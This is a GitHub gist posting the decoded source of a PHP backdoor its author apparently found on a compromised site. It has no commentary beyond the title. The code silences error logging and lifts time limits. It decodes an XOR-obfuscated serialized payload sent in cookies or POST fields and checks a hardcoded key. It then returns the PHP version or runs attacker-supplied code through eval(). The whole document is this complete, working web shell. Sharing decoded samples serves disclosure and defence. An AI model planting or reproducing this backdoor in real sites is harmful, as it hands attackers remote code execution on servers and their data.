Skip to content

Instantly share code, notes, and snippets.

@aesqe
Created May 9, 2016 11:06
Show Gist options
  • Save aesqe/f75634cf72c64da92bab905180e33d87 to your computer and use it in GitHub Desktop.
Save aesqe/f75634cf72c64da92bab905180e33d87 to your computer and use it in GitHub Desktop.
found malware, decoded
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
$foo = NULL;
$bar = NULL;
$GLOBALS['hash'] = 'b4f33d7b-bf67-41f4-9464-f8a27511cada';
global $hash;
function func1($a, $b)
{
$out = "";
for ($i=0; $i<strlen($a);)
{
for ($j=0; $j<strlen($b) && $i<strlen($a); $j++, $i++)
{
$out .= chr(ord($a[$i]) ^ ord($b[$j]));
}
}
return $out;
}
function func2($a, $b)
{
global $hash;
return func1( func1($a, $hash), $b );
}
foreach( $_COOKIE as $key => $val )
{
$foo = $val;
$bar = $key;
}
if( ! $foo )
{
foreach ($_POST as $key => $val)
{
$foo = $val;
$bar = $key;
}
}
$foo = @unserialize(func2(base64_decode($foo), $bar));
if( isset($foo['ak']) && $hash == $foo['ak'] )
{
if( $foo['a'] == 'i' )
{
$out = Array(
'pv' => @phpversion(),
'sv' => '1.0-1',
);
echo @serialize($out);
}
elseif( $foo['a'] == 'e' )
{
eval($foo['d']);
}
exit();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment